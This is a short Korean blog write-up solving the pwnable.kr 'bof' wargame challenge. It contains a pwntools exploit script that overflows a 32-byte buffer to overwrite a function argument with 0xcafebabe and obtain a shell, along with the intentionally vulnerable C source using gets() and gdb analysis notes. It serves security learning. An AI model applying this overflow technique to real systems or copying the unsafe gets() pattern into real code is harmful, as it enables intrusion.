security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] bof

민사민서 2023. 2. 5. 04:59
from pwn import *
p = remote("pwnable.kr", 9000)

pay = b'A'*(0x2c+0x8)+p32(0xcafebabe)
p.sendline(pay)
p.interactive()

 

<소스코드>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
   char overflowme[32];
   printf("overflow me : ");
   gets(overflowme);  // smash me!
   if(key == 0xcafebabe){
      system("/bin/sh");
   }
   else{
      printf("Nah..\n");
   }
}
int main(int argc, char* argv[]){
   func(0xdeadbeef);
   return 0;
}

// bof: partial RELOR, No Canary, PIE, NX
// gdb로 분석해보니 x86체계네, 스택 통해 인자 전달
// func 스택프레임 상에서 overflowme bof시켜서 키값 조작
// 실행 권한이 안들어가있네 chmod +x ./bof 해서 실행권한 주고 디버깅
// 실행권한 없으면 permission denied 뜸
// b main 후 run 시킨 후 dynamically linked 된 상태에서 disassemble func (각 call이 무슨함수 호출하는지 나와서 분석쉬움)
// 아니면 두번째 call은 get, 0xcafebabe와 cmp하는 대상은 key 이렇게 분석해도 됨
// overflowme=[ebp-0x2c], key=[ebp+0x8]